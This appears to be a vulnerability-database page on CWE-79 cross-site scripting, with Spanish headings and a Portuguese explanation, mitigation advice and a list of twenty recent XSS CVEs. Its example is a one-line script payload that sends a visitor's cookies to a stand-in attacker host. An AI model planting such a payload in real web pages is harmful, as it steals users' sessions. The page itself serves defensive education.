Fallos del tipo CWE-79

30.329 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-22735HIGHWordPress Tag Cloud Plugin - Tag Groups plugin <= 2.0.4 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-23039MEDIUMCross Site Scripting on URL decode Tooltip in CaidoEPSS 0.2%CVE-2025-23551HIGHWordPress SexBundle plugin <= 1.4 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-23628HIGHWordPress GeoDigs plugin <= 3.4.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-48065HIGHCombodo iTop vulnerable to reflected XSS via objection edition form errorEPSS 0.2%CVE-2025-70845MEDIUMlty628 aidigu v1.9.1 is vulnerable to Cross Site Scripting (XSS) exists in the /setting/ page where the "intro" field is not properly sanitiEPSS 0.2%CVE-2025-23792HIGHWordPress Passwordless WP – Login with your glance or fingerprint Plugin <= 1.1.6 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-42612HIGHGrav: Publisher-Level Stored XSS via Unquoted Event AttributesEPSS 0.2%CVE-2025-22322HIGHWordPress Private Messages for UserPro plugin <= 4.10.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-8609MEDIUMRTMKit Addons <= 1.6.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via Accordion Repeater Block AttributeEPSS 0.2%CVE-2025-47773HIGHCombodo iTop has XSS vulnerability in /pages/ajax.render.phpEPSS 0.2%CVE-2025-47702MEDIUMoEmbed Providers - Moderately critical - Cross Site Scripting - SA-CONTRIB-2025-048EPSS 0.2%CVE-2025-11763MEDIUMDisplay Pages Shortcode <= 1.1 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2026-40568HIGHFreeScout Vulnerable to XSS via Mailbox Signature Due to Incomplete HTML SanitizationEPSS 0.2%CVE-2025-23626HIGHWordPress Kumihimo plugin <= 1.0.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-47704MEDIUMKlaro Cookie & Consent Management - Moderately critical - Cross Site Scripting - SA-CONTRIB-2025-050EPSS 0.2%CVE-2019-25369MEDIUMOPNsense 19.1 Stored XSS via system_advanced_sysctl.phpEPSS 0.2%CVE-2025-43824MEDIUMThe Profile widget in Liferay Portal 7.4.0 through 7.4.3.111, and older unsupported versions, and Liferay DXP 2023.Q4.0 through 2023.Q4.5, 2EPSS 0.2%CVE-2025-12660MEDIUMPadlet Shortcode <= 1.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.2%CVE-2025-23711HIGHWordPress Quote me plugin <= 1.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%